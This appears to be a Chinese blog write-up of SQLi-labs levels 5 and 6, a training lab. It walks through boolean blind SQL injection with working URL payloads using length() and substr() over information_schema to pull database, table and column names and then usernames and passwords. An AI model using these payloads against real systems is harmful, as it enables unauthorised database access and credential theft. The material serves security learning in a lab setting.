SQLI-labs-第五关和第六关

目录

1、判断注入点

2、判断当前表的字段数

3、爆库名

4、爆表名

5、爆字段名

6、爆值


知识点:布尔盲注

思路:

SQLI-labs-第五关和第六关_第1张图片

SQLI-labs-第五关和第六关_第2张图片

1、判断注入点

首先,我们看看正常的回显内容  ?id=1

SQLI-labs-第五关和第六关_第3张图片

接着输入?id=1'  ,结果出现语句错误

这里说明存在单引号的闭合错误

SQLI-labs-第五关和第六关_第4张图片

?id=1'  and 1=1--+

SQLI-labs-第五关和第六关_第5张图片

?id=1'  and 1=2--+  这里没有任何回显信息,可以准确的确认为单引号闭合问题的注入漏洞,因为没有信息回显出来,正确的会显示you are in ....,错误的则没有显示,正确的和错误的两种,所有这种也就是布尔盲注

SQLI-labs-第五关和第六关_第6张图片

2、判断当前表的字段数

使用order by 数据

?id=1'  order by 3--+

SQLI-labs-第五关和第六关_第7张图片

?id=1'  order by 4--+

SQLI-labs-第五关和第六关_第8张图片

说明当前的表字段数有3个

3、爆库名

因为没有回显信息,所以我们只能盲猜

首先猜测数据库名的长度,使用length()函数,这个函数的作用是获取当前数据的长度,我们的数据库名是一个字符串,所以通过这种方式,可以知道数据库名的长度。

SQLI-labs-第五关和第六关_第9张图片

这个说明数据库名的长度不是1,从1猜到8,8是正确的,说明数据库名长度为8

SQLI-labs-第五关和第六关_第10张图片

知道数据库名的长度,我们开始猜测数据库名,使用substr()函数

substr函数的原型:substr(str,pos,len)

str:是要截取的字符串

pos:开始截取的位置

len:截取字符串的长度

SQLI-labs-第五关和第六关_第11张图片

从a开始猜,猜到s是正确的

SQLI-labs-第五关和第六关_第12张图片

SQLI-labs-第五关和第六关_第13张图片

以此类推下去,我们可以推出数据库名为security

4、爆表名

跟爆库名一样,先判断第一个表的长度

?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=1 --+

SQLI-labs-第五关和第六关_第14张图片

?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6 --+  ,可以得知第一个表的长度为6

SQLI-labs-第五关和第六关_第15张图片

通过调整limit 0,1 的值,来判断表

limit 1,1 为第二个表 的字段长度为8

SQLI-labs-第五关和第六关_第16张图片

   limit2,1为第三个表,字段长度为7

SQLI-labs-第五关和第六关_第17张图片

limit 3,1 为第四个表 ,字段长度为

SQLI-labs-第五关和第六关_第18张图片

知道了数据库表的长度,我们就可以爆表名

?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a' --+

SQLI-labs-第五关和第六关_第19张图片

SQLI-labs-第五关和第六关_第20张图片

采用跟爆库名的方式,我们可以爆出四张表为emails、referers、uagents、users四张

5、爆字段名

采用爆表名的方式

猜测字段的长度

?id=1' and length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=2 --+

SQLI-labs-第五关和第六关_第21张图片

以user表为例

SQLI-labs-第五关和第六关_第22张图片

?id=1' and substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i' --+

SQLI-labs-第五关和第六关_第23张图片

最后爆出来users表的字段为 id,username,password

6、爆值

?id=1' and substr((select username from security.users limit 0,1),1,1)='a' --+

SQLI-labs-第五关和第六关_第24张图片

SQLI-labs-第五关和第六关_第25张图片

通过这种方式,可以逐一把用户名和密码爆出来

正常的用户名和密码如下:

SQLI-labs-第五关和第六关_第26张图片

通过这种方式可以获取到数据库的数据,但是是十分低效的,我们可以结合Burp的爆破模块进行爆破,提高效率


SQLI-第六关

SQLI-labs-第五关和第六关_第27张图片

首先,我们也是判断注入点,步骤跟第五关的一样,输入?id=1   ?id=1'   ?id=1"  进行判断,发现是双引号的闭合错误,同时也自由正确的回显和不回显,所以也是属于盲注

SQLI-labs-第五关和第六关_第28张图片 

注入的步骤可以参考上面的步骤


这篇文章就写到这里啦,哪里不好欢迎批评指正!

你可能感兴趣的:(渗透学习之路,安全,数据库)